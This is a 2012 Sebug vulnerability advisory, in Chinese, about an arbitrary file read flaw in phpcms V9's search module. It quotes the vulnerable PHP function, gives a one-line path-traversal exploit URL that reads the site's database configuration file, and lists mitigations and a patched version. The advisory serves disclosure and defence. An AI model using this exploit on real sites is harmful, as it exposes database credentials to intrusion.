phpcms V9最新任意读文件漏洞

SSV-ID: 60295
排行  Wiki List  捐款  漏洞扫描  云存储

Published: 2012-07-25

Affected Version:

phpcms V9

Details:

phpcms v9的phpcms\modules\search\index.php存在任意文件读取漏洞

漏洞代码如下:

public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];

        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;
    }

Exploit:

/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=../../phpsso_server/caches/configs/database.php

SebugSolutions:

升级到最新版本

sebug 临时解决方案:

    禁止mysql数据库外链.
    给数据库单独的用户权限,不要给root权限.

或者直接手工修改为:

public function public_get_suggest_keyword() {
        $url = $_GET['url'].'&q='.$_GET['q'];
        $trust_url = array('c8430fcf851e85818b546addf5bc4dd3');
        $urm_md5 = md5($url);
        if (!in_array($urm_md5, $trust_url)) exit;

        $res = @file_get_contents($url);
        if(CHARSET != 'gbk') {
            $res = iconv('gbk', CHARSET, $res);
        }
        echo $res;
    }
@Sebug.net [ 2012-07-25 ]